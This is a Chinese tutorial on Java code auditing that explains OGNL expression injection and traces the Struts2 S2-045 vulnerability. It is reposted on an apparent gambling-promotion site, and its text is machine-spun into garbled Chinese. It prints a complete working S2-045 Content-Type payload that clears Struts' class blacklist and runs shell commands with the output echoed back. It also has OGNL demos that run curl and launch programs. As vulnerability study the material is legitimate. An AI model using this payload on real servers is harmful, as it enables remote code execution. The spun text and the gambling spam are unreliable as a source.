从零开始java代码审计系列(三) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

从零开始java代码审计系列(三)

申博_安全防护 申博 246次浏览 已收录 0个评论

反-反汇编patch进修(一)

最近在学习反-反汇编技巧,以此记录,patch的实例程序在附件中 仅仅是新手的学习记录,大佬轻喷 编写一个测试程序 这个程序没有什么意义,在IDA中把puts函数patch成nop用于添加我们自己的指令 肯定有更好的方法,但是这里只是为了练习 vi

这篇文章将会进修java中的OGNL表达式注入,并剖析实例s2-045,而且一切情况都邑打包放到附件中,供应给有须要的,本文若是有明白毛病的处所,贫苦师傅们指正。

甚么是OGNL

从言语角度来讲:它是一个功能强大的表达式言语,用来猎取和设置 java 工具的属性 ,它旨在供应一个更高笼统度语法来对 java 工具图举行导航。别的,java 中许多能够做的事变,也能够运用 OGNL 来完成,比方:列表映照和挑选。关于开发者来讲,运用 OGNL,能够用简约的语法来完成对 java 工具的导航。一般来讲:经由过程一个“途径”来完成工具信息的导航,这个“途径”能够是到 java bean 的某个属性,或许鸠合中的某个索引的工具,等等,而不是直接运用 get 或许 set 要领来完成。

OGNL具有三要素: 表达式、ROOT工具、上下文情况

表达式: 明显,这肯定是个中最重要的局部,经由过程表达式来通知OGNL须要实行甚么操纵。

ROOT工具: 也就是OGNL操纵的的工具,也就是说这个表达式针对谁举行操纵。

上下文情况: 有了前两个前提,OGNL就可以举行实行了,然则表达式有须要实行一系列操纵,所以会限制这些操纵在一个情况下,这个情况就是上下文情况,这个情况是个MAP组织。

破绽的发生缘由

我们经由过程相识OGNL的基本语法能够晓得OGNl能够对ROOT工具接见、对上下文工具接见、对静态变量接见、要领的挪用、对数组和鸠合的接见、建立工具。

须要注重的点是:

  • 当接见上下文情况的参数时,须要在表达式前面加上#
  • 接见静态变量或许挪用静态要领,花样如@[class]@[field/method()]
  • 组织恣意工具:直接运用已知的工具的组织要领举行组织

看实行命令的体式格局:

package com.company;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
public class Main {

    public static void main(String[] args) throws OgnlException{
        //建立一个Ognl上下文工具
        OgnlContext context = new OgnlContext();
        //@[类全名(包孕包途径)]@[要领名|值名]
        Ognl.getValue("@java.lang.Runtime@getRuntime().exec('curl http://127.0.0.1:10000/')", context, context.getRoot());
    }
}
package com.company;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
import java.io.*;
public class Main {

    public static void main(String[] args) throws OgnlException, Exception{
        //建立一个Ognl上下文工具
        OgnlContext context = new OgnlContext();
        Ognl.setValue(Runtime.getRuntime().exec("curl http://127.0.0.1:10000/"), context,context.getRoot());
    }
}

从零开始java代码审计系列(三)

实例中的注入

情况布置

我会把情况打包放到附件里,有须要的能够自行下载布置,我先说一下怎样布置长途调试的情况,参考https://x3fwy.bitcron.com/post/use-docker-to-analysis-vulnerability?utm_source=tuicool&utm_medium=referral的做法,制作了Dockerfile长途调试情况,

从零开始java代码审计系列(三)

docker-compose up --build

把情况起来今后,然后运用IDEA将src目录下的情况用maven导入,IDEA设置装备摆设以下从零开始java代码审计系列(三)

然后跑起来一般打断点调试

从零开始java代码审计系列(三)

破绽剖析

Poc:

Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#memberAccess?(#memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())};  boundary=---------------------------96954656263154098574003468

这个破绽重要是因为在上传时运用Jakarta举行剖析时,然则若是content-type毛病的会进入非常,然后注入OGNL。

起首在/org/apache/struts/struts2-core/2.5.10/struts2-core-2.5.10.jar!/org/apache/struts2/dispatcher/PrepareOperations.class

public HttpServletRequest wrapRequest(HttpServletRequest oldRequest) throws ServletException {
        HttpServletRequest request = oldRequest;

        try {
            request = this.dispatcher.wrapRequest(request);
            ServletActionContext.setRequest(request);
            return request;
        } catch (IOException var4) {
            throw new ServletException("Could not wrap servlet request with MultipartRequestWrapper!", var4);
        }
    }

这里会将http要求封装一个成一个工具

从零开始java代码审计系列(三)

跟进函数,跟到/org/apache/struts/struts2-core/2.5.10/struts2-core-2.5.10.jar!/org/apache/struts2/dispatcher/Dispatcher.class

public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
        if (request instanceof StrutsRequestWrapper) {
            return request;
        } else {
            String content_type = request.getContentType();
            Object request;
            if (content_type != null && content_type.contains("multipart/form-data")) {
                MultiPartRequest mpr = this.getMultiPartRequest();
                LocaleProvider provider = (LocaleProvider)this.getContainer().getInstance(LocaleProvider.class);
                request = new MultiPartRequestWrapper(mpr, request, this.getSaveDir(), provider, this.disableRequestAttributeValueStackLookup);
            } else {
                request = new StrutsRequestWrapper(request, this.disableRequestAttributeValueStackLookup);
            }

            return (HttpServletRequest)request;
        }
    }

能够看到若是content_type不为null而且content_type中包含了multipart/form-data的话就进入前提

然后到

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

request = new MultiPartRequestWrapper(mpr, request, this.getSaveDir(), provider, this.disableRequestAttributeValueStackLookup);

会new一个工具,跟进

从零开始java代码审计系列(三)

能够看到request工具进入了this.multi.pars,继承跟requests,抵达/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.class

public void parse(HttpServletRequest request, String saveDir) throws IOException {
        LocalizedMessage errorMessage;
        try {
            this.setLocale(request);
            this.processUpload(request, saveDir);

起首request工具进入言语设置的要领,没有啥处置惩罚,继承跟进下一个this.processUpload

然后能够跟到

FileItemIteratorImpl(RequestContext ctx) throws FileUploadException, IOException {
            if (ctx == null) {
                throw new NullPointerException("ctx parameter");
            } else {
                String contentType = ctx.getContentType();
                if (null != contentType && contentType.toLowerCase(Locale.ENGLISH).startsWith("multipart/")) {
                    InputStream input = ctx.getInputStream();
                    int contentLengthInt = ctx.getContentLength();
                    long requestSize = UploadContext.class.isAssignableFrom(ctx.getClass()) ? ((UploadContext)ctx).contentLength() : (long)contentLengthInt;
                    if (FileUploadBase.this.sizeMax >= 0L) {
                        if (requestSize != -1L && requestSize > FileUploadBase.this.sizeMax) {
                            throw new FileUploadBase.SizeLimitExceededException(String.format("the request was rejected because its size (%s) exceeds the configured maximum (%s)", requestSize, FileUploadBase.this.sizeMax), requestSize, FileUploadBase.this.sizeMax);
                        }

                        input = new LimitedInputStream((InputStream)input, FileUploadBase.this.sizeMax) {
                            protected void raiseError(long pSizeMax, long pCount) throws IOException {
                                FileUploadException ex = new FileUploadBase.SizeLimitExceededException(String.format("the request was rejected because its size (%s) exceeds the configured maximum (%s)", pCount, pSizeMax), pCount, pSizeMax);
                                throw new FileUploadBase.FileUploadIOException(ex);
                            }
                        };
                    }

从零开始java代码审计系列(三)

能够看到这个推断会检测contentType是不是以multipart/开首,明显不是,然后进入非常处置惩罚

throw new FileUploadBase.InvalidContentTypeException(String.format("the request doesn't contain a %s or %s stream, content type header is %s", "multipart/form-data", "multipart/mixed", contentType));

这里会将传进来的contentType拼接后继承通报

从零开始java代码审计系列(三)

一向跟到

while(i$.hasNext()) {
  LocalizedMessage error = (LocalizedMessage)i$.next();
  if (validation != null) {
      validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
  }
}

会进入到/com/opensymphony/xwork2/util/LocalizedTextUtil.class

然后经由挪用客栈

从零开始java代码审计系列(三)

继承跟能够跟到/com/opensymphony/xwork2/util/TextParseUtil.class

public static String translateVariables(String expression, ValueStack stack) {
        return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, (TextParseUtil.ParsedValueEvaluator)null).toString();
    }

跟到

String lookupChars = open + "{";

            while(true) {
                int start = expression.indexOf(lookupChars, pos);
                if (start == -1) {
                    ++loopCount;
                    start = expression.indexOf(lookupChars);
                }

                if (loopCount > maxLoopCount) {
                    break;
                }

                int length = expression.length();
                int x = start + 2;
                int count = 1;

                while(start != -1 && x < length && count != 0) {
                    char c = expression.charAt(x++);
                    if (c == '{') {
                        ++count;
                    } else if (c == '}') {
                        --count;
                    }
                }

                int end = x - 1;
                if (start == -1 || end == -1 || count != 0) {
                    break;
                }
           String var = expression.substring(start + 2, end);

简朴明白下这段的意义就是将我们被污染的payload举行处置惩罚,能够是%{.*}也能够是${.*}如许的花样

从零开始java代码审计系列(三)

背面就是作为ONGL表达式举行实行了。

payload为什么云云组织

晓得了破绽发生缘由,肯定是想晓得poc为什么如许组织呢,我来剖析一下

%{
    (#nike='multipart/form-data').
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
    (#memberAccess?(#memberAccess=#dm):     
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
  (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
  (#ognlUtil.getExcludedPackageNames().clear()).
  (#ognlUtil.getExcludedClasses().clear()).
  (#context.setMemberAccess(#dm)))).
  (#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').
  toLowerCase().
  contains('win'))).
  (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:
  {'/bin/bash','-c',#cmd})).
  (#p=new java.lang.ProcessBuilder(#cmds)).
  (#p.redirectErrorStream(true)).
  (#process=#p.start()).
  (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
  (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
  (#ros.flush())
  };

起首我们晓得Struts2为了防备进击,在/struts2-core-2.5.10.jar!/struts-default.xml中界说了黑名单

<constant name="struts.excludedClasses"
              value="
                java.lang.Object,
                java.lang.Runtime,
                java.lang.System,
                java.lang.Class,
                java.lang.ClassLoader,
                java.lang.Shutdown,
                java.lang.ProcessBuilder,
                ognl.OgnlContext,
                ognl.ClassResolver,
                ognl.TypeConverter,
                ognl.MemberAccess,
                ognl.DefaultMemberAccess,
                com.opensymphony.xwork2.ognl.SecurityMemberAccess,
                com.opensymphony.xwork2.ActionContext" />

   <!-- this is simpler version of the above used with string comparison -->
    <constant name="struts.excludedPackageNames" value="java.lang.,ognl,javax,freemarker.core,freemarker.template" />

我们必需想办法bypass它,能够看到poc的操纵是先界说了DEFAULT_MEMBER_ACCESS,然后赋值给memberAccess,

然后运用GetInstance实例化OgnlUtil,然后将内里的黑名单消灭,然后应用setMemberAccess举行覆盖掉,进而绕过黑名单,这个poc是大牛组织的对照通用而且有回显的,我们来看看详细完成,

package com.company;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
import java.io.*;
import java.lang.NullPointerException;
import com.opensymphony.xwork2.util.TextParseUtil;
public class Main {

    public static void main(String[] args) throws OgnlException, Exception,NullPointerException{
        //建立一个Ognl上下文工具
        Object rootObject = new Object();
        OgnlContext context = new OgnlContext();
        TextParseUtil newparse = new TextParseUtil();

        String exp = "(#nike='multipart/form-data').(#cmds={'open', '/Applications/Calculator.app'}).(#p=new java.lang.ProcessBuilder(#cmds)).(#process=#p.start())";
        try{
            Object expression = ognl.Ognl.parseExpression(exp);
            String value = Ognl.getValue(expression, context, rootObject).toString();
        }catch (OgnlException e){
            e.printStackTrace();
        }
    }
}

从零开始java代码审计系列(三)

反-反汇编patch进修(一)

最近在学习反-反汇编技巧,以此记录,patch的实例程序在附件中 仅仅是新手的学习记录,大佬轻喷 编写一个测试程序 这个程序没有什么意义,在IDA中把puts函数patch成nop用于添加我们自己的指令 肯定有更好的方法,但是这里只是为了练习 vi


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明从零开始java代码审计系列(三)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址